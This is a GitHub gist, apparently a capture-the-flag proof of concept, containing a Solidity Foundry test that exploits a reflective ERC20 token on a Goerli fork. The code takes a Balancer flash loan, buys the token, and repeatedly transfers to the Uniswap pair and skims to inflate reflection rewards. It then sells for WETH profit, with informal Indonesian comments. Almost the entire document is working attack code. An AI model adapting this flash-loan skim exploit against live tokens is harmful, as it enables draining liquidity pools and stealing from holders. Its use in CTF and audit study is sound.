Created
February 14, 2023 19:02
-
-
Save MrFatoni/da7a66e2a1f4e76b2db1aa643c35858f to your computer and use it in GitHub Desktop.
poc #2 sysfixed.org/ctf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.0; | |
import "forge-std/Test.sol"; | |
contract asdadsadsadss is Test { | |
WETH9 private constant WETH = WETH9(0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6); | |
reflectiveERC20 private constant TKN = reflectiveERC20(0x9255590C2e66aBb441A9b19A8c518E12FBD5c4d3); | |
IBalancerVault private constant balancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); | |
IRouter private constant router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); | |
IUniswapV2Pair private constant WETH_TKN = IUniswapV2Pair(0x09CD30D9162e8619b03Df7aE9229B4e719582c8C); | |
function testHack() external { | |
vm.createSelectFork("https://eth-goerli.public.blastapi.io", 8489831); | |
// flashloan 2 weth dari balancer | |
address[] memory tokens = new address[](1); | |
tokens[0] = address(WETH); | |
uint256[] memory amounts = new uint256[](1); | |
amounts[0] = 2 ether; | |
balancerVault.flashLoan(address(this), tokens, amounts, ""); | |
} | |
//forge test --contracts rawr/asdasd.sol -vv | |
function receiveFlashLoan( | |
reflectiveERC20[] memory, | |
uint256[] memory amounts, | |
uint256[] memory, | |
bytes memory | |
) external { | |
emit log_named_decimal_uint(" WETH di pair ", WETH.balanceOf(address(WETH_TKN)),18); | |
WETH.approve(address(router), type(uint).max); | |
TKN.approve(address(router), type(uint).max); | |
WETH_TKN.approve(address(router), type(uint).max); | |
address[] memory path = new address[](2); | |
path[0] = address(WETH); | |
path[1] = address(TKN); | |
//buy tokennya | |
// 0.13 eth x 8 | |
router.swapExactTokensForTokens(0.12 ether, 0, path, address(this), block.timestamp+300); //biar ga gagal soalnya ada loop | |
emit log_named_decimal_uint(" ANGKA SETAN ", TKN.myPush(address(this)),18); //hampir 2jam muter2 gara2 ini, ternyata butuh diloop | |
// console.log("%s mypush 1", TKN.myPush(address(this))); | |
// console.log("%s totalsuply-amt", TKN.totalSupply() - TKN.myPush(address(this))); | |
// console.log("%s initialsup", (100 * 1e18)); | |
emit log_named_decimal_uint(" TOKEN di pair ", TKN.balanceOf(address(WETH_TKN)),18); | |
emit log_named_decimal_uint(" TOKEN di attack", TKN.balanceOf(address(this)),18); | |
uint256 balance = TKN.balanceOf(address(this)); | |
for(uint8 i; i < 10; i++){ | |
//looping kirim ke address LP biar ngeburn | |
TKN.transfer(address(WETH_TKN), balance); | |
//skim ke address LP (ambil token nyasar seblum sync) | |
//di goerli gagal gara2 ada yg iseng kyknya | |
WETH_TKN.skim(address(this)); | |
} | |
emit log_named_decimal_uint(" ANGKA SETAN ", TKN.myPush(address(this)),18); | |
//hajar send 0 ke address ini buat triger reward | |
TKN.transfer(address(this), 0); | |
emit log_named_decimal_uint(" tkn di pair", TKN.balanceOf(address(WETH_TKN)),18); | |
emit log_named_decimal_uint(" WETH di kntl", WETH.balanceOf(address(WETH_TKN)),18); | |
console.log('--------------------'); | |
path[0] = address(TKN); | |
path[1] = address(WETH); | |
balance = TKN.balanceOf(address(this)); | |
//jual tokennya | |
router.swapExactTokensForTokens(balance, 0, path, address(this), block.timestamp+300); //biar ga gagal soalnya ada loop | |
emit log_named_decimal_uint(" WETH di kntl setelah jual", WETH.balanceOf(address(WETH_TKN)),18); | |
emit log_named_decimal_uint("profit!", WETH.balanceOf(address(this)),18); | |
WETH.transfer(address(balancerVault), amounts[0]); | |
emit log_named_decimal_uint("\n Final WETH", WETH.balanceOf(address(this)),18); | |
} | |
} | |
interface reflectiveERC20 { | |
function burn(uint256 amount) external; | |
function totalSupply() external view returns (uint256); | |
function transfer(address to, uint256 amount) external returns (bool); | |
function approve(address spender, uint256 amount) external returns (bool); | |
function balanceOf(address account) external view returns (uint256); | |
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); | |
function deliver(uint256 tAmount) external; | |
function myPush(address _address) external view returns(uint256); | |
} | |
interface WETH9 { | |
function deposit() external payable; | |
function transfer(address to, uint256 value) external returns (bool); | |
function approve(address guy, uint256 wad) external returns (bool); | |
function withdraw(uint256 wad) external; | |
function balanceOf(address) external view returns (uint256); | |
} | |
interface IBalancerVault { | |
function flashLoan( | |
address recipient, | |
address[] memory tokens, | |
uint256[] memory amounts, | |
bytes memory userData | |
) external; | |
} | |
interface IRouter { | |
function swapExactTokensForTokensSupportingFeeOnTransferTokens( | |
uint256 amountIn, | |
uint256 amountOutMin, | |
address[] calldata path, | |
address to, | |
uint256 deadline | |
) external; | |
function swapExactTokensForTokens( | |
uint amountIn, | |
uint amountOutMin, | |
address[] calldata path, | |
address to, | |
uint deadline | |
) external returns (uint[] memory amounts); | |
} | |
interface IUniswapV2Pair { | |
function approve(address spender, uint256 amount) external returns (bool); | |
function balanceOf(address) external view returns (uint256); | |
function skim(address to) external; | |
function sync() external; | |
function swap( | |
uint256 amount0Out, | |
uint256 amount1Out, | |
address to, | |
bytes memory data | |
) external; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment